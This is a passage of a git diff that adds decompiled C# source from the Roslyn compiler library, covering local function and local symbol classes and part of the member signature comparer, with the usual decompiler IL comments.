//IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Invalid comparison between Unknown and I4 + ArrayBuilder instance = ArrayBuilder.GetInstance(); + SeparatedSyntaxList val = Syntax.TypeParameterList?.Parameters ?? default(SeparatedSyntaxList); + for (int i = 0; i < val.Count; i++) + { + TypeParameterSyntax typeParameterSyntax = val[i]; + if (typeParameterSyntax.VarianceKeyword.Kind() != SyntaxKind.None) + { + SyntaxToken varianceKeyword = typeParameterSyntax.VarianceKeyword; + diagnostics.Add(ErrorCode.ERR_IllegalVarianceSyntax, ((SyntaxToken)(ref varianceKeyword)).GetLocation()); + } + ReportAttributesDisallowed(typeParameterSyntax.AttributeLists, diagnostics); + SyntaxToken identifier = typeParameterSyntax.Identifier; + Location location = ((SyntaxToken)(ref identifier)).GetLocation(); + string text = ((SyntaxToken)(ref identifier)).ValueText ?? ""; + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + SourceMethodTypeParameterSymbol current = enumerator.Current; + if (text == current.Name) + { + diagnostics.Add(ErrorCode.ERR_DuplicateTypeParameter, location, text); + break; + } + } + SourceMemberContainerTypeSymbol.ReportReservedTypeName(((SyntaxToken)(ref identifier)).Text, DeclaringCompilation, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, location); + TypeParameterSymbol typeParameterSymbol = ContainingSymbol.FindEnclosingTypeParameter(text); + if ((object)typeParameterSymbol != null) + { + ErrorCode code = (((int)typeParameterSymbol.ContainingSymbol.Kind != 9) ? ErrorCode.WRN_TypeParameterSameAsOuterTypeParameter : ErrorCode.WRN_TypeParameterSameAsOuterMethodTypeParameter); + diagnostics.Add(code, location, text, typeParameterSymbol.ContainingSymbol); + } + SourceMethodTypeParameterSymbol sourceMethodTypeParameterSymbol = new SourceMethodTypeParameterSymbol(this, text, i, ImmutableArray.Create(location), ImmutableArray.Create(typeParameterSyntax.GetReference())); + instance.Add(sourceMethodTypeParameterSymbol); + } + return instance.ToImmutableAndFree(); + } + + public override ImmutableArray> GetTypeParameterConstraintTypes() + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + if (_lazyTypeParameterConstraintTypes.IsDefault) + { + GetTypeParameterConstraintKinds(); + LocalFunctionStatementSyntax syntax = Syntax; + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + ImmutableArray> lazyTypeParameterConstraintTypes = this.MakeTypeParameterConstraintTypes(WithTypeParametersBinder, TypeParameters, syntax.TypeParameterList, syntax.ConstraintClauses, instance); + lock (_declarationDiagnostics) + { + if (_lazyTypeParameterConstraintTypes.IsDefault) + { + _declarationDiagnostics.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + ISetExtensions.AddAll((ISet)_declarationDependencies, (IEnumerable)((BindingDiagnosticBag)(object)instance).DependenciesBag); + _lazyTypeParameterConstraintTypes = lazyTypeParameterConstraintTypes; + } + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _lazyTypeParameterConstraintTypes; + } + + public override ImmutableArray GetTypeParameterConstraintKinds() + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (_lazyTypeParameterConstraintKinds.IsDefault) + { + LocalFunctionStatementSyntax syntax = Syntax; + ImmutableArray value = this.MakeTypeParameterConstraintKinds(WithTypeParametersBinder, TypeParameters, syntax.TypeParameterList, syntax.ConstraintClauses); + ImmutableInterlocked.InterlockedInitialize(ref _lazyTypeParameterConstraintKinds, value); + } + return _lazyTypeParameterConstraintKinds; + } + + internal override bool IsNullableAnalysisEnabled() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/LocalFunctionSymbol.cs", 516); + } + + public override int GetHashCode() + { + return ((object)Syntax).GetHashCode(); + } + + public sealed override bool Equals(Symbol symbol, TypeCompareKind compareKind) + { + if ((object)this == symbol) + { + return true; + } + return (symbol as LocalFunctionSymbol)?.Syntax == Syntax; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalSymbol.cs new file mode 100644 index 0000000..80def20 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/LocalSymbol.cs @@ -0,0 +1,163 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class LocalSymbol : Symbol, ILocalSymbolInternal, ISymbolInternal +{ + internal abstract LocalDeclarationKind DeclarationKind { get; } + + internal abstract SynthesizedLocalKind SynthesizedKind { get; } + + internal abstract SyntaxNode ScopeDesignatorOpt { get; } + + internal abstract bool IsImportedFromMetadata { get; } + + internal virtual bool CanScheduleToStack + { + get + { + if (!IsConst) + { + return !IsPinned; + } + return false; + } + } + + internal abstract SyntaxToken IdentifierToken { get; } + + public abstract TypeWithAnnotations TypeWithAnnotations { get; } + + public TypeSymbol Type => TypeWithAnnotations.Type; + + internal abstract bool IsPinned { get; } + + internal abstract bool IsKnownToReferToTempIfReferenceType { get; } + + public sealed override bool IsExtern => false; + + public sealed override bool IsSealed => false; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsOverride => false; + + public sealed override bool IsVirtual => false; + + public sealed override bool IsStatic => false; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + public sealed override Accessibility DeclaredAccessibility => (Accessibility)0; + + public sealed override SymbolKind Kind => (SymbolKind)8; + + internal abstract ScopedKind Scope { get; } + + public bool IsCatch => DeclarationKind == LocalDeclarationKind.CatchVariable; + + public bool IsConst => DeclarationKind == LocalDeclarationKind.Constant; + + public bool IsUsing => DeclarationKind == LocalDeclarationKind.UsingVariable; + + public bool IsFixed => DeclarationKind == LocalDeclarationKind.FixedVariable; + + public bool IsForEach => DeclarationKind == LocalDeclarationKind.ForEachIterationVariable; + + internal abstract bool HasSourceLocation { get; } + + internal virtual bool IsWritableVariable + { + get + { + LocalDeclarationKind declarationKind = DeclarationKind; + if (declarationKind - 2 <= LocalDeclarationKind.Constant || declarationKind == LocalDeclarationKind.ForEachIterationVariable) + { + return false; + } + return true; + } + } + + public bool HasConstantValue + { + get + { + if (!IsConst) + { + return false; + } + ConstantValue constantValue = GetConstantValue(null, null); + if (constantValue != (ConstantValue)null) + { + return !constantValue.IsBad; + } + return false; + } + } + + public object ConstantValue + { + get + { + if (!IsConst) + { + return null; + } + ConstantValue constantValue = GetConstantValue(null, null); + if (constantValue == null) + { + return null; + } + return constantValue.Value; + } + } + + internal abstract bool IsCompilerGenerated { get; } + + public bool IsRef => (int)RefKind > 0; + + public abstract RefKind RefKind { get; } + + internal virtual SyntaxNode ForbiddenZone => null; + + internal virtual ErrorCode ForbiddenDiagnostic => ErrorCode.ERR_VariableUsedBeforeDeclaration; + + SynthesizedLocalKind ILocalSymbolInternal.SynthesizedKind => SynthesizedKind; + + bool ILocalSymbolInternal.IsImportedFromMetadata => IsImportedFromMetadata; + + internal abstract LocalSymbol WithSynthesizedLocalKindAndSyntax(SynthesizedLocalKind kind, SyntaxNode syntax); + + internal sealed override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitLocal(this, argument); + } + + public sealed override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitLocal(this); + } + + public sealed override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitLocal(this); + } + + internal abstract SyntaxNode GetDeclaratorSyntax(); + + internal abstract ConstantValue GetConstantValue(SyntaxNode node, LocalSymbol inProgress, BindingDiagnosticBag diagnostics = null); + + internal abstract ImmutableBindingDiagnostic GetConstantValueDiagnostics(BoundExpression boundInitValue); + + protected sealed override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.LocalSymbol(this); + } + + SyntaxNode ILocalSymbolInternal.GetDeclaratorSyntax() + { + return GetDeclaratorSyntax(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MemberSignatureComparer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MemberSignatureComparer.cs new file mode 100644 index 0000000..227b85d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MemberSignatureComparer.cs @@ -0,0 +1,508 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class MemberSignatureComparer : IEqualityComparer +{ + [Flags] + private enum RefKindCompareMode + { + DoNotConsiderDifferences = 0, + ConsiderDifferences = 1, + AllowRefReadonlyVsInMismatch = 2 + } + + public static readonly MemberSignatureComparer ExplicitImplementationComparer = new MemberSignatureComparer(considerName: false, considerExplicitlyImplementedInterfaces: false, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: true, RefKindCompareMode.ConsiderDifferences | RefKindCompareMode.AllowRefReadonlyVsInMismatch, considerArity: true, (TypeCompareKind)63); + + public static readonly MemberSignatureComparer CSharpImplicitImplementationComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: true, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: true, RefKindCompareMode.ConsiderDifferences | RefKindCompareMode.AllowRefReadonlyVsInMismatch, considerArity: true, (TypeCompareKind)63); + + public static readonly MemberSignatureComparer CSharpCloseImplicitImplementationComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: true, considerReturnType: false, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.ConsiderDifferences | RefKindCompareMode.AllowRefReadonlyVsInMismatch, considerArity: true, (TypeCompareKind)63); + + public static readonly MemberSignatureComparer DuplicateSourceComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: true, considerReturnType: false, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.DoNotConsiderDifferences, considerArity: true, (TypeCompareKind)63); + + public static readonly MemberSignatureComparer RecordAPISignatureComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: true, considerReturnType: false, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.ConsiderDifferences, considerArity: true, (TypeCompareKind)63); + + public static readonly MemberSignatureComparer PartialMethodsComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: true, considerReturnType: false, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.ConsiderDifferences, considerArity: true, (TypeCompareKind)63); + + public static readonly MemberSignatureComparer PartialMethodsStrictComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: true, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.ConsiderDifferences, considerArity: true, (TypeCompareKind)16); + + public static readonly MemberSignatureComparer InterceptorsComparer = new MemberSignatureComparer(considerName: false, considerExplicitlyImplementedInterfaces: false, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.ConsiderDifferences, considerArity: false, (TypeCompareKind)63); + + public static readonly MemberSignatureComparer InterceptorsStrictComparer = new MemberSignatureComparer(considerName: false, considerExplicitlyImplementedInterfaces: false, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.ConsiderDifferences, considerArity: false, (TypeCompareKind)24); + + public static readonly MemberSignatureComparer CSharpOverrideComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: false, considerReturnType: false, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.ConsiderDifferences | RefKindCompareMode.AllowRefReadonlyVsInMismatch, considerArity: true, (TypeCompareKind)63); + + private static readonly MemberSignatureComparer CSharpWithTupleNamesComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: false, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.DoNotConsiderDifferences, considerArity: true, (TypeCompareKind)59); + + private static readonly MemberSignatureComparer CSharpWithoutTupleNamesComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: false, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.DoNotConsiderDifferences, considerArity: true, (TypeCompareKind)63); + + public static readonly MemberSignatureComparer CSharpAccessorOverrideComparer = new MemberSignatureComparer(considerName: false, considerExplicitlyImplementedInterfaces: false, considerReturnType: false, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.ConsiderDifferences | RefKindCompareMode.AllowRefReadonlyVsInMismatch, considerArity: true, (TypeCompareKind)63); + + public static readonly MemberSignatureComparer CSharpCustomModifierOverrideComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: false, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.ConsiderDifferences | RefKindCompareMode.AllowRefReadonlyVsInMismatch, considerArity: true, (TypeCompareKind)46); + + internal static readonly MemberSignatureComparer SloppyOverrideComparer = new MemberSignatureComparer(considerName: false, considerExplicitlyImplementedInterfaces: false, considerReturnType: false, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.DoNotConsiderDifferences, considerArity: true, (TypeCompareKind)15); + + public static readonly MemberSignatureComparer RuntimeSignatureComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: false, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: true, RefKindCompareMode.DoNotConsiderDifferences, considerArity: true, (TypeCompareKind)46); + + public static readonly MemberSignatureComparer RuntimeExplicitImplementationSignatureComparer = new MemberSignatureComparer(considerName: false, considerExplicitlyImplementedInterfaces: false, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: true, RefKindCompareMode.DoNotConsiderDifferences, considerArity: true, (TypeCompareKind)46); + + public static readonly MemberSignatureComparer RuntimePlusRefOutSignatureComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: false, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: true, RefKindCompareMode.ConsiderDifferences | RefKindCompareMode.AllowRefReadonlyVsInMismatch, considerArity: true, (TypeCompareKind)46); + + public static readonly MemberSignatureComparer RuntimeImplicitImplementationComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: true, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: true, RefKindCompareMode.DoNotConsiderDifferences, considerArity: true, (TypeCompareKind)46); + + public static readonly MemberSignatureComparer RetargetedExplicitImplementationComparer = new MemberSignatureComparer(considerName: true, considerExplicitlyImplementedInterfaces: false, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: true, RefKindCompareMode.ConsiderDifferences | RefKindCompareMode.AllowRefReadonlyVsInMismatch, considerArity: true, (TypeCompareKind)46); + + public static readonly MemberSignatureComparer CrefComparer = new MemberSignatureComparer(considerName: false, considerExplicitlyImplementedInterfaces: false, considerReturnType: false, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.ConsiderDifferences, considerArity: true, (TypeCompareKind)15); + + internal static readonly MemberSignatureComparer MethodGroupSignatureComparer = new MemberSignatureComparer(considerName: false, considerExplicitlyImplementedInterfaces: false, considerReturnType: true, considerTypeConstraints: false, considerCallingConvention: false, RefKindCompareMode.ConsiderDifferences, considerArity: true, (TypeCompareKind)63); + + private readonly bool _considerName; + + private readonly bool _considerExplicitlyImplementedInterfaces; + + private readonly bool _considerReturnType; + + private readonly bool _considerTypeConstraints; + + private readonly bool _considerArity; + + private readonly bool _considerCallingConvention; + + private readonly RefKindCompareMode _refKindCompareMode; + + private readonly TypeCompareKind _typeComparison; + + private MemberSignatureComparer(bool considerName, bool considerExplicitlyImplementedInterfaces, bool considerReturnType, bool considerTypeConstraints, bool considerCallingConvention, RefKindCompareMode refKindCompareMode, bool considerArity = true, TypeCompareKind typeComparison = (TypeCompareKind)34) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + _considerName = considerName; + _considerExplicitlyImplementedInterfaces = considerExplicitlyImplementedInterfaces; + _considerReturnType = considerReturnType; + _considerTypeConstraints = considerTypeConstraints; + _considerCallingConvention = considerCallingConvention; + _refKindCompareMode = refKindCompareMode; + _considerArity = considerArity; + _typeComparison = typeComparison; + if ((refKindCompareMode & RefKindCompareMode.ConsiderDifferences) == 0) + { + _typeComparison = (TypeCompareKind)(_typeComparison | 0x40); + } + } + + public bool Equals(Symbol member1, Symbol member2) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + if ((object)member1 == member2) + { + return true; + } + if ((object)member1 == null || (object)member2 == null || member1.Kind != member2.Kind) + { + return false; + } + bool flag = false; + bool flag2 = false; + if (_considerName) + { + string memberNameWithoutInterfaceName = ExplicitInterfaceHelpers.GetMemberNameWithoutInterfaceName(member1.Name); + string memberNameWithoutInterfaceName2 = ExplicitInterfaceHelpers.GetMemberNameWithoutInterfaceName(member2.Name); + flag = memberNameWithoutInterfaceName != member1.Name; + flag2 = memberNameWithoutInterfaceName2 != member2.Name; + if (memberNameWithoutInterfaceName != memberNameWithoutInterfaceName2) + { + return false; + } + } + if (_considerArity && member1.GetMemberArity() != member2.GetMemberArity()) + { + return false; + } + if (member1.GetParameterCount() != member2.GetParameterCount()) + { + return false; + } + TypeMap typeMap = GetTypeMap(member1); + TypeMap typeMap2 = GetTypeMap(member2); + if (_considerReturnType && !HaveSameReturnTypes(member1, typeMap, member2, typeMap2, _typeComparison)) + { + return false; + } + if (member1.GetParameterCount() > 0 && !HaveSameParameterTypes(member1.GetParameters(), typeMap, member2.GetParameters(), typeMap2, _refKindCompareMode, _typeComparison)) + { + return false; + } + if (_considerCallingConvention) + { + if (GetCallingConvention(member1) != GetCallingConvention(member2)) + { + return false; + } + } + else if (IsVarargMethod(member1) != IsVarargMethod(member2)) + { + return false; + } + if (_considerExplicitlyImplementedInterfaces) + { + if (flag != flag2) + { + return false; + } + if (flag) + { + if (member1.IsExplicitInterfaceImplementation() != member2.IsExplicitInterfaceImplementation()) + { + return false; + } + ImmutableArray explicitInterfaceImplementations = member1.GetExplicitInterfaceImplementations(); + ImmutableArray explicitInterfaceImplementations2 = member2.GetExplicitInterfaceImplementations(); + if (!ImmutableArrayExtensions.SetEquals(explicitInterfaceImplementations, explicitInterfaceImplementations2, (IEqualityComparer)SymbolEqualityComparer.ConsiderEverything)) + { + return false; + } + } + } + if (_considerTypeConstraints) + { + return HaveSameConstraints(member1, typeMap, member2, typeMap2); + } + return true; + } + + public int GetHashCode(Symbol member) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Expected I4, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Invalid comparison between Unknown and I4 + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + int num = 1; + if ((object)member != null) + { + num = Hash.Combine((int)member.Kind, num); + if (_considerName) + { + num = Hash.Combine(ExplicitInterfaceHelpers.GetMemberNameWithoutInterfaceName(member.Name), num); + } + if (_considerReturnType && member.GetMemberArity() == 0 && (_typeComparison & 0x3F) == 0) + { + num = Hash.Combine(member.GetTypeOrReturnType().GetHashCode(), num); + } + if ((int)member.Kind != 6) + { + num = Hash.Combine(member.GetMemberArity(), num); + num = Hash.Combine(member.GetParameterCount(), num); + } + } + return num; + } + + private static bool HaveSameReturnTypes(Symbol member1, TypeMap typeMap1, Symbol member2, TypeMap typeMap2, TypeCompareKind typeComparison) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + member1.GetTypeOrReturnType(out RefKind refKind, out TypeWithAnnotations returnType, out ImmutableArray refCustomModifiers); + member2.GetTypeOrReturnType(out RefKind refKind2, out TypeWithAnnotations returnType2, out ImmutableArray refCustomModifiers2); + if (refKind != refKind2) + { + return false; + } + bool flag = returnType.IsVoidType(); + bool flag2 = returnType2.IsVoidType(); + if (flag != flag2) + { + return false; + } + if (flag && ((typeComparison & 1) != 0 || (returnType.CustomModifiers.IsEmpty && returnType2.CustomModifiers.IsEmpty))) + { + return true; + } + TypeWithAnnotations typeWithAnnotations = SubstituteType(typeMap1, returnType); + TypeWithAnnotations other = SubstituteType(typeMap2, returnType2); + if (!typeWithAnnotations.Equals(other, typeComparison)) + { + return false; + } + if ((typeComparison & 1) == 0 && !HaveSameCustomModifiers(refCustomModifiers, typeMap1, refCustomModifiers2, typeMap2)) + { + return false; + } + return true; + } + + private static TypeMap GetTypeMap(Symbol member) + { + ImmutableArray memberTypeParameters = member.GetMemberTypeParameters(); + if (!memberTypeParameters.IsEmpty) + { + return new TypeMap(memberTypeParameters, IndexedTypeParameterSymbol.Take(member.GetMemberArity()), allowAlpha: true); + } + return null; + } + + private static bool HaveSameConstraints(Symbol member1, TypeMap typeMap1, Symbol member2, TypeMap typeMap2) + { + if (member1.GetMemberArity() == 0) + { + return true; + } + ImmutableArray memberTypeParameters = member1.GetMemberTypeParameters(); + ImmutableArray memberTypeParameters2 = member2.GetMemberTypeParameters(); + return HaveSameConstraints(memberTypeParameters, typeMap1, memberTypeParameters2, typeMap2); + } + + public static bool HaveSameConstraints(ImmutableArray typeParameters1, TypeMap typeMap1, ImmutableArray typeParameters2, TypeMap typeMap2) + { + int length = typeParameters1.Length; + for (int i = 0; i < length; i++) + { + if (!HaveSameConstraints(typeParameters1[i], typeMap1, typeParameters2[i], typeMap2)) + { + return false; + } + } + return true; + } + + public static bool HaveSameConstraints(TypeParameterSymbol typeParameter1, TypeMap typeMap1, TypeParameterSymbol typeParameter2, TypeMap typeMap2) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + if (typeParameter1.HasConstructorConstraint != typeParameter2.HasConstructorConstraint || typeParameter1.HasReferenceTypeConstraint != typeParameter2.HasReferenceTypeConstraint || typeParameter1.HasValueTypeConstraint != typeParameter2.HasValueTypeConstraint || typeParameter1.HasUnmanagedTypeConstraint != typeParameter2.HasUnmanagedTypeConstraint || typeParameter1.Variance != typeParameter2.Variance) + { + return false; + } + return HaveSameTypeConstraints(typeParameter1, typeMap1, typeParameter2, typeMap2, SymbolEqualityComparer.IgnoringDynamicTupleNamesAndNullability); + } + + private static bool HaveSameTypeConstraints(TypeParameterSymbol typeParameter1, TypeMap typeMap1, TypeParameterSymbol typeParameter2, TypeMap typeMap2, IEqualityComparer comparer) + { + ImmutableArray constraintTypesNoUseSiteDiagnostics = typeParameter1.ConstraintTypesNoUseSiteDiagnostics; + ImmutableArray constraintTypesNoUseSiteDiagnostics2 = typeParameter2.ConstraintTypesNoUseSiteDiagnostics; + if (constraintTypesNoUseSiteDiagnostics.Length == 0 && constraintTypesNoUseSiteDiagnostics2.Length == 0) + { + return true; + } + HashSet hashSet = new HashSet(comparer); + HashSet hashSet2 = new HashSet(comparer); + SubstituteConstraintTypes(constraintTypesNoUseSiteDiagnostics, typeMap1, hashSet); + SubstituteConstraintTypes(constraintTypesNoUseSiteDiagnostics2, typeMap2, hashSet2); + if (AreConstraintTypesSubset(hashSet, hashSet2, typeParameter2)) + { + return AreConstraintTypesSubset(hashSet2, hashSet, typeParameter1); + } + return false; + } + + public static bool HaveSameNullabilityInConstraints(TypeParameterSymbol typeParameter1, TypeMap typeMap1, TypeParameterSymbol typeParameter2, TypeMap typeMap2) + { + if (!typeParameter1.IsValueType) + { + bool? isNotNullable = typeParameter1.IsNotNullable; + bool? isNotNullable2 = typeParameter2.IsNotNullable; + if (isNotNullable.HasValue && isNotNullable2.HasValue && isNotNullable == true != (isNotNullable2 == true)) + { + return false; + } + } + return HaveSameTypeConstraints(typeParameter1, typeMap1, typeParameter2, typeMap2, SymbolEqualityComparer.AllIgnoreOptionsPlusNullableWithUnknownMatchesAny); + } + + private static bool AreConstraintTypesSubset(HashSet constraintTypes1, HashSet constraintTypes2, TypeParameterSymbol typeParameter2) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + foreach (TypeSymbol item in constraintTypes1) + { + if ((int)item.SpecialType != 1 && !constraintTypes2.Contains(item) && ((int)item.SpecialType != 5 || !typeParameter2.HasValueTypeConstraint)) + { + return false; + } + } + return true; + } + + private static void SubstituteConstraintTypes(ImmutableArray types, TypeMap typeMap, HashSet result) + { + ImmutableArray.Enumerator enumerator = types.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + result.Add(typeMap.SubstituteType(current).Type); + } + } + + private static bool HaveSameParameterTypes(ImmutableArray params1, TypeMap typeMap1, ImmutableArray params2, TypeMap typeMap2, RefKindCompareMode refKindCompareMode, TypeCompareKind typeComparison) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Invalid comparison between Unknown and I4 + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Invalid comparison between Unknown and I4 + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + int length = params1.Length; + for (int i = 0; i < length; i++) + { + ParameterSymbol parameterSymbol = params1[i]; + ParameterSymbol parameterSymbol2 = params2[i]; + TypeWithAnnotations typeWithAnnotations = SubstituteType(typeMap1, parameterSymbol.TypeWithAnnotations); + TypeWithAnnotations other = SubstituteType(typeMap2, parameterSymbol2.TypeWithAnnotations); + if (!typeWithAnnotations.Equals(other, typeComparison)) + { + return false; + } + if ((typeComparison & 1) == 0 && !HaveSameCustomModifiers(parameterSymbol.RefCustomModifiers, typeMap1, parameterSymbol2.RefCustomModifiers, typeMap2)) + { + return false; + } + RefKind refKind = parameterSymbol.RefKind; + RefKind refKind2 = parameterSymbol2.RefKind; + if ((refKindCompareMode & RefKindCompareMode.ConsiderDifferences) != RefKindCompareMode.DoNotConsiderDifferences) + { + if (!areRefKindsCompatible(refKindCompareMode, refKind, refKind2)) + { + return false; + } + } + else if ((int)refKind == 0 != ((int)refKind2 == 0)) + { + return false; + } + } + return true; + static bool areRefKindsCompatible(RefKindCompareMode refKindCompareMode2, RefKind val, RefKind val2) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + if (val == val2) + { + return true; + } + if ((refKindCompareMode2 & RefKindCompareMode.AllowRefReadonlyVsInMismatch) != RefKindCompareMode.DoNotConsiderDifferences) + { + if ((int)val != 3) + { + if ((int)val == 4 && (int)val2 == 3) + { + goto IL_001d; + } + } + else if ((int)val2 == 4) + { + goto IL_001d; + } + return false; + } + return false; + IL_001d: + return true; + } + } + + private static TypeWithAnnotations SubstituteType(TypeMap typeMap, TypeWithAnnotations typeSymbol) + { + if (typeMap != null) + { + return typeSymbol.SubstituteType(typeMap); + } + return typeSymbol; + } + + private static bool HaveSameCustomModifiers(ImmutableArray customModifiers1, TypeMap typeMap1, ImmutableArray customModifiers2, TypeMap typeMap2) + { + return SubstituteModifiers(typeMap1, customModifiers1).SequenceEqual(SubstituteModifiers(typeMap2, customModifiers2)); 